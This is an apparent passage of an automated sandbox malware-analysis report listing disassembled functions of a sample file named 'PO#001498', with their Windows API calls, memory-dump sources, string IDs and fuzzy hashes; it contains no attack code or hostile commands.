                                                                                                                                                                                                        Function 00448358 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001132,00000000,?), ref: 0044846C
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044847E
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID: '
                                                                                                                                                                                                        • API String ID: 3850602802-1997036262
                                                                                                                                                                                                        • Opcode ID: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                                                                                                                                        • Instruction ID: cecdca06d5aa7ecc7109d5e1ff25192cbd540bafe2d1ef24ff7c1b98f096cb5f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 984179706083459FE710CF18C880BABB7E1FB89700F54882EF9888B351DB75A841CF5A
                                                                                                                                                                                                        Function 00444571 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 0-4108050209
                                                                                                                                                                                                        • Opcode ID: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                                                                                                                        • Instruction ID: 268d240ecd79f719a1425e83c09d650ed443e1bf0ac8ef4f8d51517adc50c1d2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B6210D765042206BEB15DF08D844B97B7A4FBDA310F44492BEE9897250D379E848C7AA
                                                                                                                                                                                                        Function 0045126C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00451305
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00451313
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID: Combobox
                                                                                                                                                                                                        • API String ID: 3850602802-2096851135
                                                                                                                                                                                                        • Opcode ID: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                                                                        • Instruction ID: f266216a818347eeb58d59163185d0479ace604409515c443b0f4894c7ad90f2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D9110A72A0430067E6109AA4DC80F5BB3D8EB99735F10071BFA24E72E1D774FC448768
                                                                                                                                                                                                        Function 004515AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetWindowTextLengthW.USER32(00000000), ref: 004515DA
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004515EA
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: LengthMessageSendTextWindow
                                                                                                                                                                                                        • String ID: edit
                                                                                                                                                                                                        • API String ID: 2978978980-2167791130
                                                                                                                                                                                                        • Opcode ID: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                                                                        • Instruction ID: b80de1f22085cd2d24dcce0fe83431d10f7d2aff66e66183492c5b70af3c9e13
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2011E4716003006BD6109A64D884F6BB3DCEBD8335F104B1EFA61D32E1D779EC458729
                                                                                                                                                                                                        Function 00474827 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72sleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • Sleep.KERNEL32(00000000), ref: 00474833
                                                                                                                                                                                                        • GlobalMemoryStatusEx.KERNEL32 ref: 00474846
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: GlobalMemorySleepStatus
                                                                                                                                                                                                        • String ID: @
                                                                                                                                                                                                        • API String ID: 2783356886-2766056989
                                                                                                                                                                                                        • Opcode ID: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                                                                        • Instruction ID: 41c327e25453105c4ca6c880754d33c67e761007402a238c65fd2e715fefe222
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4421C230929A14B7C2107F6ABD4BB5E7BB8AF44716F008C5DF5C562094DF785268836F
                                                                                                                                                                                                        Function 004647A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: htonsinet_addr
                                                                                                                                                                                                        • String ID: 255.255.255.255
                                                                                                                                                                                                        • API String ID: 3832099526-2422070025
                                                                                                                                                                                                        • Opcode ID: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                                                                                                                        • Instruction ID: e3b5e028fda38c0aed97ec3d425ece65e45bc088e5f3683a6f0e3ee8de0e9224
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6F11253620030057DA10EB69C882F9BB394EFC4728F00896BFA105B283D679F45A832E
                                                                                                                                                                                                        Function 004694DE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,000001A2,000000FF,00000000), ref: 00469547
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend_wcslen
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 455545452-1403004172
                                                                                                                                                                                                        • Opcode ID: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                                                                                                                        • Instruction ID: d7878a024921556205560296ec06e6abf53b779169672b4943ab7ad66f70e2c7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2601D6327011106B8600BB299C019AFB39DDBC2370F544A2FF965573D1EA39AC0E476A
                                                                                                                                                                                                        Function 00442AFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00442B8C
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: InternetOpen
                                                                                                                                                                                                        • String ID: <local>
                                                                                                                                                                                                        • API String ID: 2038078732-4266983199
                                                                                                                                                                                                        • Opcode ID: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                                                                        • Instruction ID: 525aca290fb55aeb65c4bf55ca0deee88c9418ef2a1db54778758d1eb2e06c8a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9011A934144751AAF621DF108D86FB77794FB50B01F50480FF9866B2C0D6F4B848C766
                                                                                                                                                                                                        Function 004695F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000180,00000000,00000000), ref: 00469660
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend_wcslen
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 455545452-1403004172
                                                                                                                                                                                                        • Opcode ID: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                                                                                                                        • Instruction ID: 486d2595d5a7427da4a9c048e684990a8dc9cac685a8154682435d05c4426571
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A101D87274121027C600BA259C01AEBB39CEB96354F04443BF94597291EA6DED0E43AA
                                                                                                                                                                                                        Function 0046956F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • SendMessageW.USER32(00000182,00000182,?,00000000), ref: 004695D6
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend_wcslen
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 455545452-1403004172
                                                                                                                                                                                                        • Opcode ID: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                                                                                                                        • Instruction ID: 72d13aeac174e9c1a3a177398698555a642000804846b33da1492f44d6438514
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4D01A77374111067C610BA6A9C01AEB739CABD2364F44443BF94597292EA7DED0E43AA
                                                                                                                                                                                                        Function 00461774 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _strncmp
                                                                                                                                                                                                        • String ID: ,$UTF8)
                                                                                                                                                                                                        • API String ID: 909875538-2632631837
                                                                                                                                                                                                        • Opcode ID: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                                                                                                                                        • Instruction ID: 35c0b5e4e6bd282640ba12729024cfd3588da47ca1ed1c49f01331a057b7ec9b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7601B575A083805BE720DE20CC85BA773A1AB81319F58492ED8D5872A1F73DD449C75B
                                                                                                                                                                                                        Function 00461772 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _strncmp
                                                                                                                                                                                                        • String ID: ,$UTF8)
                                                                                                                                                                                                        • API String ID: 909875538-2632631837
                                                                                                                                                                                                        • Opcode ID: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                                                                                                                        • Instruction ID: b3c6803870d1b21283bf32431af321d4190ac902c568a1d8b2e557ddf245ca97
                                                                                                                                                                                                        • Opcode Fuzzy Hash: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1E01D875A043805BE720DE20CC85B6773A19B4131AF68492FD8D6872A1F73DD449C75B
                                                                                                                                                                                                        Function 004560AD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001001,00000000,?), ref: 004560BA
                                                                                                                                                                                                          • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                        • wsprintfW.USER32 ref: 004560E9
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend_mallocwsprintf
                                                                                                                                                                                                        • String ID: %d/%02d/%02d
                                                                                                                                                                                                        • API String ID: 1262938277-328681919
                                                                                                                                                                                                        • Opcode ID: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
                                                                                                                                                                                                        • Instruction ID: 2a73c44ac592e0fe880a68d863bd42ca8887a008949f121bccc13d44bcf2ebb3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 13F08272744220A7E2105BA5AC01BBFB3D4EB84762F10443BFE44D12C0E66E8455D7BA
                                                                                                                                                                                                        Function 00442262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044226C
                                                                                                                                                                                                        • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0044227F
                                                                                                                                                                                                          • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FindMessagePostSleepWindow
                                                                                                                                                                                                        • String ID: Shell_TrayWnd
                                                                                                                                                                                                        • API String ID: 529655941-2988720461
                                                                                                                                                                                                        • Opcode ID: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                                                                                                                        • Instruction ID: f0ed9326d30a696a9ade51716a531e8bd1705000bbe21894ac7a57cb5589152b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 71D0A772F8130177E92077706D0FFCB26246F14710F010C3AB305AA1C0D4E8D440C358
                                                                                                                                                                                                        Function 0044222A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00442240
                                                                                                                                                                                                        • PostMessageW.USER32(00000000), ref: 00442247
                                                                                                                                                                                                          • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
